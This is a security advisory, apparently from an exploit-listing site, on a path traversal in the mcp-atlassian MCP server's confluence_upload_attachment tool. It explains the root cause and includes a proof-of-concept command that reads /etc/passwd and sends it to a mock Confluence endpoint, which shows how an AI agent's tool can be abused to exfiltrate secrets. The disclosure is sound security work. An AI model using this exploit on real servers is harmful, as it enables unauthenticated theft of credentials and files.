Share
## https://sploitus.com/exploit?id=D6CF8998-EC14-5E08-8C47-E2D2B4EBF17E
# CVE-2026-27825 โ€” Path Traversal in mcp-atlassian via confluence_upload_attachment

**Severity**: Critical (CVSS 9.3)
**CWE**: CWE-22 โ€” Path Traversal
**Affected**: `sooperset/mcp-atlassian` >= 0.17.0 (read-side twin of GHSA-xjgw-4wvw-rgm4)
**Advisory**: GHSA
**NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-27825

---

## TL;DR

The `confluence_upload_attachment` MCP tool passes its `file_path` argument directly to `open(file_path, "rb")` with no path validation. An attacker who can invoke the tool reads arbitrary files from the server filesystem and exfiltrates them via multipart upload to an attacker-controlled Confluence endpoint. The default `streamable-http` transport binds `0.0.0.0` with no authentication, making this remotely exploitable without credentials.

This is the **read-side symmetric twin** of the previously patched GHSA-xjgw-4wvw-rgm4 โ€” the v0.17.0 fix only covered the write/download path. The upload path was left unguarded.

---

## Affected component

**File**: `src/mcp_atlassian/confluence/attachments.py`, line 477

```python
with open(file_path, "rb") as fp:          # โ† file_path is attacker-controlled
    files = {"file": (filename, fp, content_type)}
    response = self.confluence.session.post(url, files=files, ...)
```

**Tool definition** (`src/mcp_atlassian/servers/confluence.py:1307`):

```python
file_path: Annotated[str, Field(description="Absolute path to the file to upload")]
# No pattern=, no validator, no validate_safe_path()
```

**The asymmetry with the patched download path:**

```python
# attachments.py:223 โ€” PATCHED (download path)
validate_safe_path(local_path)   # โ† guard added in v0.17.0
open(local_path, "wb")

# attachments.py:477 โ€” VULNERABLE (upload path)
open(file_path, "rb")            # โ† no guard, missed in v0.17.0
```

---

## Root cause

The v0.17.0 patch for GHSA-xjgw-4wvw-rgm4 added `validate_safe_path()` calls on the write-side (downloading attachments to local disk) but did not audit the read-side (uploading local files to Confluence). The `check_write_access` decorator is unrelated โ€” it only gates `READ_ONLY_MODE`.

**Default network exposure** (`src/mcp_atlassian/__init__.py:151`):

```python
HOST = "0.0.0.0"   # binds all interfaces
# no auth layer in streamable-http transport
```

---

## PoC

Fully reproduced end-to-end against a local HTTP stub simulating the Confluence API. See [`mcp_client.py`](./mcp_client.py), [`mock_confluence.py`](./mock_confluence.py), and [`poc_run1.sh`](./poc_run1.sh).

```bash
# poc_run1.sh โ€” reads /etc/passwd via confluence_upload_attachment
# 1. Start mock Confluence endpoint
python mock_confluence.py &

# 2. Invoke MCP tool with path traversal payload
python mcp_client.py \
  --tool confluence_upload_attachment \
  --page-id 123456 \
  --file-path /etc/passwd \
  --filename passwd.txt
# โ†’ /etc/passwd contents appear in mock_confluence.py log
```

---

## Impact

1. **Arbitrary file read** โ€” any file readable by the server process (`/etc/passwd`, SSH keys, `.env`, application secrets)
2. **Remote, unauthenticated** โ€” default `streamable-http` transport binds `0.0.0.0`, no auth; any network-reachable attacker can invoke MCP tools directly
3. **Scope change** โ€” files outside the intended Confluence attachment boundary are exfiltrated โ†’ S:C in CVSS

---

## Timeline

- **Discovery**: 2026-04-11
- **Reported**: GHSA private advisory
- **CVE published**: CVE-2026-27825